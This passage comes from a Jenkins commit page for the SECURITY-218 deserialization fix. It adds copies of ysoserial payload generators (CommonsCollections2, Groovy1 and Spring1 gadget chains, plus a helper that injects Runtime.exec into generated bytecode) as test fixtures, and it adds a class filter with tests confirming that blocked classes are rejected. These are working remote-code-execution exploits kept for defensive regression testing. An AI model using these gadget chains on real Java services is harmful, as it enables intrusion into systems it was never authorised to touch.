    +		// mock method name until armed
    +		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    +		
    +		// create queue with numbers and basic comparator
    +		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); 
    +		// stub data for replacement later
    +		queue.add(1); 
    +		queue.add(1); 
    +		
    +		// switch method called by comparator
    +		Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 
    +		
    +		// switch contents of queue
    +		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    +		queueArray[0] = templates;
    +		queueArray[1] = 1;
    +		
    +		return queue;
    +	}
    +	
    +	public static void main(final String[] args) throws Exception {
    +		PayloadRunner.run(CommonsCollections2.class, args);
    +	}
    +
    +}
    
  • test/src/test/java/jenkins/security/security218/ysoserial/payloads/Groovy1.java+66 0 added
    @@ -0,0 +1,66 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2013 Chris Frohoff
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218.ysoserial.payloads;
    +
    +import java.lang.reflect.InvocationHandler;
    +import java.util.Map;
    +import jenkins.security.security218.ysoserial.util.Gadgets;
    +import jenkins.security.security218.ysoserial.util.PayloadRunner;
    +
    +import org.codehaus.groovy.runtime.ConvertedClosure;
    +import org.codehaus.groovy.runtime.MethodClosure;
    +
    +
    +/*
    +	Gadget chain:	
    +		ObjectInputStream.readObject()
    +			PriorityQueue.readObject()
    +				Comparator.compare() (Proxy)
    +					ConvertedClosure.invoke()
    +						MethodClosure.call()
    +							...
    +						  		Method.invoke()
    +									Runtime.exec()
    +	
    +	Requires:
    +		groovy
    + */
    +
    +@SuppressWarnings({ "rawtypes", "unchecked" })
    +public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
    +
    +	public InvocationHandler getObject(final String command) throws Exception {
    +		final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
    +		
    +		final Map map = Gadgets.createProxy(closure, Map.class);		
    +
    +		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
    +		
    +		return handler;
    +	}
    +
    +	public static void main(final String[] args) throws Exception {
    +		PayloadRunner.run(Groovy1.class, args);
    +	}	
    +}
    
  • test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java+32 0 added
    @@ -0,0 +1,32 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2013 Chris Frohoff
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218.ysoserial.payloads;
    +
    +public interface ObjectPayload<T> {
    +	/*
    +	 * return armed payload object to be serialized that will execute specified 
    +	 * command on deserialization
    +	 */
    +	public T getObject(String command) throws Exception;
    +}
    
  • test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring1.java+99 0 added
    @@ -0,0 +1,99 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2013 Chris Frohoff
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218.ysoserial.payloads;
    +
    +import static java.lang.Class.forName;
    +
    +import java.lang.reflect.Constructor;
    +import java.lang.reflect.InvocationHandler;
    +import java.lang.reflect.Type;
    +
    +import javax.xml.transform.Templates;
    +
    +import org.springframework.beans.factory.ObjectFactory;
    +
    +
    +import jenkins.security.security218.ysoserial.util.Gadgets;
    +import jenkins.security.security218.ysoserial.util.PayloadRunner;
    +import jenkins.security.security218.ysoserial.util.Reflections;
    +import org.apache.xalan.xsltc.trax.TemplatesImpl;
    +
    +/*
    +	Gadget chain:
    +	
    +		ObjectInputStream.readObject()
    +			SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
    +				SerializableTypeWrapper.TypeProvider(Proxy).getType()
    +					AnnotationInvocationHandler.invoke()
    +						HashMap.get()
    +				ReflectionUtils.findMethod()
    +				SerializableTypeWrapper.TypeProvider(Proxy).getType()
    +					AnnotationInvocationHandler.invoke()
    +						HashMap.get()			
    +				ReflectionUtils.invokeMethod()
    +					Method.invoke()	
    +						Templates(Proxy).newTransformer()
    +							AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
    +								ObjectFactory(Proxy).getObject()
    +									AnnotationInvocationHandler.invoke()
    +										HashMap.get()	
    +								Method.invoke()
    +									TemplatesImpl.newTransformer()
    +										TemplatesImpl.getTransletInstance()
    +											TemplatesImpl.defineTransletClasses()
    +												TemplatesImpl.TransletClassLoader.defineClass()
    +													Pwner*(Javassist-generated).<static init>
    +														Runtime.exec()
    +
    + */
    +
    +@SuppressWarnings({"restriction", "rawtypes"})
    +public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
    +	
    +	public Object getObject(final String command) throws Exception {
    +		final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    +		
    +		final ObjectFactory objectFactoryProxy = 
    +				Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
    +		
    +		final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
    +				Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
    +					.newInstance(objectFactoryProxy), Type.class, Templates.class);
    +		
    +		final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
    +				Gadgets.createMap("getType", typeTemplatesProxy), 
    +				forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
    +		
    +		final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    +		final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    +		Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    +
    +		return mitp;
    +	}
    +
    +	public static void main(final String[] args) throws Exception {
    +		PayloadRunner.run(Spring1.class, args);
    +	}
    +
    +}
    
  • test/src/test/java/jenkins/security/security218/ysoserial/util/ClassFiles.java+67 0 added
    @@ -0,0 +1,67 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2013 Chris Frohoff
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218.ysoserial.util;
    +
    +import java.io.ByteArrayOutputStream;
    +import java.io.IOException;
    +import java.io.InputStream;
    +
    +public class ClassFiles {
    +	public static String classAsFile(final Class<?> clazz) {
    +		return classAsFile(clazz, true);
    +	}
    +	
    +	public static String classAsFile(final Class<?> clazz, boolean suffix) {
    +		String str;
    +		if (clazz.getEnclosingClass() == null) {
    +			str = clazz.getName().replace(".", "/");
    +		} else {
    +			str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
    +		}
    +		if (suffix) {
    +			str += ".class";			
    +		}
    +		return str;  
    +	}
    +
    +	public static byte[] classAsBytes(final Class<?> clazz) {
    +		try {
    +			final byte[] buffer = new byte[1024];
    +			final String file = classAsFile(clazz);
    +			final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
    +			if (in == null) {
    +				throw new IOException("couldn't find '" + file + "'");
    +			}
    +			final ByteArrayOutputStream out = new ByteArrayOutputStream();
    +			int len;
    +			while ((len = in.read(buffer)) != -1) {
    +				out.write(buffer, 0, len);
    +			}
    +			return out.toByteArray();
    +		} catch (IOException e) {
    +			throw new RuntimeException(e);
    +		}
    +	}
    +	
    +}
    
  • test/src/test/java/jenkins/security/security218/ysoserial/util/Gadgets.java+115 0 added
    @@ -0,0 +1,115 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2013 Chris Frohoff
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218.ysoserial.util;
    +
    +import java.io.Serializable;
    +import java.lang.reflect.Array;
    +import java.lang.reflect.InvocationHandler;
    +import java.lang.reflect.Proxy;
    +import java.util.HashMap;
    +import java.util.Map;
    +
    +import javassist.ClassClassPath;
    +import javassist.ClassPool;
    +import javassist.CtClass;
    +
    +import org.apache.xalan.xsltc.DOM;
    +import org.apache.xalan.xsltc.TransletException;
    +import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    +import org.apache.xalan.xsltc.trax.TemplatesImpl;
    +import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
    +import org.apache.xml.dtm.DTMAxisIterator;
    +import org.apache.xml.serializer.SerializationHandler;
    +
    +/*
    + * utility generator functions for common jdk-only gadgets
    + */
    +@SuppressWarnings("restriction")
    +public class Gadgets {
    +	private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";	
    +	
    +	public static class StubTransletPayload extends AbstractTranslet implements Serializable {
    +		private static final long serialVersionUID = -5971610431559700674L;
    +
    +		public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    +
    +		@Override
    +		public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}	
    +	}
    +
    +	// required to make TemplatesImpl happy
    +	public static class Foo implements Serializable {
    +		private static final long serialVersionUID = 8207363842866235160L; 		
    +	}
    +
    +	public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface, 
    +		final Class<?> ... ifaces) throws Exception {	    
    +	    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);	    
    +	}
    +
    +	public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
    +		return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    +	}
    +	
    +	public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
    +		final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
    +		allIfaces[0] = iface;
    +		if (ifaces.length > 0) {
    +			System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);	
    +		}		
    +		return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
    +	}
    +
    +	public static Map<String,Object> createMap(final String key, final Object val) {
    +		final Map<String,Object> map = new HashMap<String, Object>();
    +		map.put(key,val);
    +		return map;
    +	}
    +
    +	public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    +		final TemplatesImpl templates = new TemplatesImpl();		
    +		
    +		// use template gadget class
    +		ClassPool pool = ClassPool.getDefault();
    +		pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    +		final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    +		// run command in static initializer
    +		// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    +		clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
    +		// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    +		clazz.setName("ysoserial.Pwner" + System.nanoTime());		
    +		
    +		final byte[] classBytes = clazz.toBytecode();
    +		
    +		// inject class bytes into instance
    +		Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
    +			classBytes,
    +			ClassFiles.classAsBytes(Foo.class)});
    +		
    +		// required to make TemplatesImpl happy
    +		Reflections.setFieldValue(templates, "_name", "Pwnr"); 			
    +		Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    +		return templates;
    +	}
    +}
    
  • test/src/test/java/jenkins/security/security218/ysoserial/util/PayloadRunner.java+62 0 added
    @@ -0,0 +1,62 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2013 Chris Frohoff
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218.ysoserial.util;
    +
    +
    +import java.util.concurrent.Callable;
    +import jenkins.security.security218.ysoserial.ExecBlockingSecurityManager;
    +import jenkins.security.security218.ysoserial.payloads.ObjectPayload;
    +import static jenkins.security.security218.ysoserial.util.Serializables.deserialize;
    +import static jenkins.security.security218.ysoserial.util.Serializables.serialize;
    +
    +/*
    + * utility class for running exploits locally from command line
    + */
    +@SuppressWarnings("unused")
    +public class PayloadRunner {
    +	public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {		
    +		// ensure payload generation doesn't throw an exception
    +		byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable<byte[]>(){
    +			public byte[] call() throws Exception {
    +				final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
    +				
    +				System.out.println("generating payload object(s) for command: '" + command + "'");
    +				
    +				final Object objBefore = clazz.newInstance().getObject(command);
    +				
    +				System.out.println("serializing payload");
    +				
    +				return serialize(objBefore);
    +		}});			
    +			
    +		try {	
    +			System.out.println("deserializing payload");			
    +			final Object objAfter = deserialize(serialized);			
    +		} catch (Exception e) {
    +			e.printStackTrace();
    +		}
    +
    +	}	
    +	
    +}
    
  • test/src/test/java/jenkins/security/security218/ysoserial/util/Reflections.java+56 0 added
    @@ -0,0 +1,56 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2013 Chris Frohoff
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218.ysoserial.util;
    +
    +import java.lang.reflect.Constructor;
    +import java.lang.reflect.Field;
    +
    +public class Reflections {
    +
    +	public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
    +		Field field = clazz.getDeclaredField(fieldName);
    +		if (field == null && clazz.getSuperclass() != null) {
    +			field = getField(clazz.getSuperclass(), fieldName);
    +		}
    +		field.setAccessible(true);
    +		return field;
    +	}
    +
    +	public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
    +		final Field field = getField(obj.getClass(), fieldName);
    +		field.set(obj, value);
    +	}
    +
    +	public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
    +		final Field field = getField(obj.getClass(), fieldName);		
    +		return field.get(obj);
    +	}
    +
    +	public static Constructor<?> getFirstCtor(final String name) throws Exception {
    +		final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
    +	    ctor.setAccessible(true);
    +	    return ctor;
    +	}
    +
    +}
    
  • test/src/test/java/jenkins/security/security218/ysoserial/util/Serializables.java+57 0 added
    @@ -0,0 +1,57 @@
    +/*
    + * The MIT License
    + *
    + * Copyright (c) 2013 Chris Frohoff
    + *
    + * Permission is hereby granted, free of charge, to any person obtaining a copy
    + * of this software and associated documentation files (the "Software"), to deal
    + * in the Software without restriction, including without limitation the rights
    + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    + * copies of the Software, and to permit persons to whom the Software is
    + * furnished to do so, subject to the following conditions:
    + *
    + * The above copyright notice and this permission notice shall be included in
    + * all copies or substantial portions of the Software.
    + *
    + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    + * THE SOFTWARE.
    + */
    +package jenkins.security.security218.ysoserial.util;
    +
    +import java.io.ByteArrayInputStream;
    +import java.io.ByteArrayOutputStream;
    +import java.io.IOException;
    +import java.io.InputStream;
    +import java.io.ObjectInputStream;
    +import java.io.ObjectOutputStream;
    +import java.io.OutputStream;
    +
    +public class Serializables {
    +
    +	public static byte[] serialize(final Object obj) throws IOException {
    +		final ByteArrayOutputStream out = new ByteArrayOutputStream();
    +		serialize(obj, out);
    +		return out.toByteArray();
    +	}
    +
    +	public static void serialize(final Object obj, final OutputStream out) throws IOException {
    +		final ObjectOutputStream objOut = new ObjectOutputStream(out);
    +		objOut.writeObject(obj);				
    +	}
    +	
    +	public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
    +		final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
    +		return deserialize(in);
    +	}
    +	
    +	public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
    +		final ObjectInputStream objIn = new ObjectInputStream(in);
    +		return objIn.readObject();
    +	}
    +	
    +}
    \ No newline at end of file
    
5bd9b55a2a32

Merge pull request #44 from jenkinsci-cert/SECURITY-218

https://github.com/jenkinsci/jenkinsKohsuke KawaguchiNov 8, 2015via ghsa
9 files changed · +243 5
  • cli/src/main/java/hudson/cli/Connection.java+4 1 modified
    @@ -23,6 +23,8 @@
      */
     package hudson.cli;
     
    +import hudson.remoting.ClassFilter;
    +import hudson.remoting.ObjectInputStreamEx;
     import hudson.remoting.SocketChannelStream;
     import org.apache.commons.codec.binary.Base64;
     
    @@ -107,7 +109,8 @@ public void writeObject(Object o) throws IOException {
          * Receives an object sent by {@link #writeObject(Object)}
          */
         public <T> T readObject() throws IOException, ClassNotFoundException {
    -        ObjectInputStream ois = new ObjectInputStream(in);
    +        ObjectInputStream ois = new ObjectInputStreamEx(in,
    +                getClass().getClassLoader(), ClassFilter.DEFAULT);
             return (T)ois.readObject();
         }
     
    
  • cli/src/test/java/hudson/cli/ConnectionTest.java+12 0 modified
    @@ -2,6 +2,7 @@
     
     import hudson.remoting.FastPipedInputStream;
     import hudson.remoting.FastPipedOutputStream;
    +import org.codehaus.groovy.runtime.Security218;
     import org.junit.Assert;
     import org.junit.Before;
     import org.junit.Test;
    @@ -69,4 +70,15 @@ public void run() {
                 throw new Error("thread is still alive");
             }
         }
    +
    +    @Test
    +    public void testSecurity218() throws Exception {
    +        c1.writeObject(new Security218());
    +        try {
    +            c2.readObject();
    +            fail();
    +        } catch (SecurityException e) {
    +            assertTrue(e.getMessage().contains(Security218.class.getName()));
    +        }
    +    }
     }
    
  • cli/src/test/java/org/codehaus/groovy/runtime/Security218.java+11 0 added
    @@ -0,0 +1,11 @@
    +package org.codehaus.groovy.runtime;
    +
    +import java.io.Serializable;
    +
    +/**
    + * Test payload in a prohibited package name.
    + *
    + * @author Kohsuke Kawaguchi
    + */
    +public class Security218 implements Serializable {
    +}
    
  • core/src/main/java/hudson/cli/declarative/MethodBinder.java+17 0 modified
    @@ -30,10 +30,12 @@
     import org.kohsuke.args4j.CmdLineException;
     import org.kohsuke.args4j.CmdLineParser;
     import org.kohsuke.args4j.Option;
    +import org.kohsuke.args4j.spi.FieldSetter;
     import org.kohsuke.args4j.spi.Setter;
     import org.kohsuke.args4j.spi.OptionHandler;
     
     import java.lang.annotation.Annotation;
    +import java.lang.reflect.AnnotatedElement;
     import java.lang.reflect.InvocationTargetException;
     import java.lang.reflect.Method;
     import java.util.List;
    @@ -79,6 +81,16 @@ public Class getType() {
                     public boolean isMultiValued() {
                         return false;
                     }
    +
    +                @Override
    +                public FieldSetter asFieldSetter() {
    +                    return null;
    +                }
    +
    +                @Override
    +                public AnnotatedElement asAnnotatedElement() {
    +                    return p;
    +                }
                 };
                 Option option = p.annotation(Option.class);
                 if (option!=null) {
    @@ -148,5 +160,10 @@ public boolean multiValued() {
             public Class<? extends Annotation> annotationType() {
                 return base.annotationType();
             }
    +
    +        @Override
    +        public boolean hidden() {
    +            return base.hidden();
    +        }
         }
     }
    
  • core/src/main/java/hudson/util/ReflectionUtils.java+22 1 modified
    @@ -28,6 +28,7 @@
     
     import java.beans.PropertyDescriptor;
     import java.lang.annotation.Annotation;
    +import java.lang.reflect.AnnotatedElement;
     import java.lang.reflect.Field;
     import java.lang.reflect.InvocationTargetException;
     import java.lang.reflect.Method;
    @@ -122,7 +123,7 @@ public String[] names() {
             }
         }
     
    -    public static final class Parameter {
    +    public static final class Parameter implements AnnotatedElement {
             private final MethodInfo parent;
             private final int index;
     
    @@ -180,6 +181,26 @@ public String name() {
                     return names[index];
                 return null;
             }
    +
    +        @Override
    +        public boolean isAnnotationPresent(Class<? extends Annotation> type) {
    +            return annotation(type)!=null;
    +        }
    +
    +        @Override
    +        public <T extends Annotation> T getAnnotation(Class<T> type) {
    +            return annotation(type);
    +        }
    +
    +        @Override
    +        public Annotation[] getAnnotations() {
    +            return annotations();
    +        }
    +
    +        @Override
    +        public Annotation[] getDeclaredAnnotations() {
    +            return annotations();
    +        }
         }
     
         /**
    
  • pom.xml+1 1 modified
    @@ -174,7 +174,7 @@ THE SOFTWARE.
           <dependency>
             <groupId>org.jenkins-ci.main</groupId>
             <artifactId>remoting</artifactId>
    -        <version>2.47</version>
    +        <version>2.53-20151108.042522-3</version>
           </dependency>
     
           <dependency>
    
  • test/src/test/groovy/hudson/cli/CLIActionTest.groovy+35 2 modified
    @@ -1,8 +1,10 @@
     package hudson.cli
     
    +import hudson.Functions
     import hudson.remoting.Channel
    -import hudson.security.FullControlOnceLoggedInAuthorizationStrategy;
    -
    +import hudson.security.FullControlOnceLoggedInAuthorizationStrategy
    +import org.codehaus.groovy.runtime.Security218
    +import org.junit.Assert;
     import org.junit.Rule
     import org.junit.Test
     import org.jvnet.hudson.test.JenkinsRule
    @@ -12,6 +14,8 @@ import org.jvnet.hudson.test.recipes.PresetData.DataSet;
     import java.util.concurrent.ExecutorService
     import java.util.concurrent.Executors
     
    +import static org.junit.Assert.fail
    +
     /**
      * @author Kohsuke Kawaguchi
      * @author christ66
    @@ -37,6 +41,35 @@ class CLIActionTest {
             }
         }
     
    +    @Test
    +    public void security218() throws Exception {
    +        pool = Executors.newCachedThreadPool()
    +        try {
    +            FullDuplexHttpStream con = new FullDuplexHttpStream(new URL(j.URL, "cli"));
    +            Channel ch = new Channel("test connection", pool, con.inputStream, con.outputStream);
    +            ch.call(new Security218());
    +            fail("Expected the call to be rejected");
    +        } catch (Exception e) {
    +            assert Functions.printThrowable(e).contains("Rejected: "+Security218.class.name);
    +        } finally {
    +            pool.shutdown();
    +        }
    +
    +    }
    +
    +    @Test
    +    public void security218_take2() throws Exception {
    +        pool = Executors.newCachedThreadPool()
    +        try {
    +            new CLI(j.URL).execute([new Security218()]);
    +            fail("Expected the call to be rejected");
    +        } catch (Exception e) {
    +            assert Functions.printThrowable(e).contains("Rejected: "+Security218.class.name);
    +        } finally {
    +            pool.shutdown();
    +        }
    +    }
    +
         //TODO: Integrate the tests into existing ones in CLIActionTest2
         @Test
         @PresetData(DataSet.NO_ANONYMOUS_READACCESS)
    
  • test/src/test/java/jenkins/security/Security218Test.java+120 0 added
    @@ -0,0 +1,120 @@
    +package jenkins.security;
    +
    +import hudson.model.Node.Mode;
    +import hudson.model.Slave;
    +import hudson.remoting.Channel;
    +import hudson.remoting.Which;
    +import hudson.slaves.DumbSlave;
    +import hudson.slaves.JNLPLauncher;
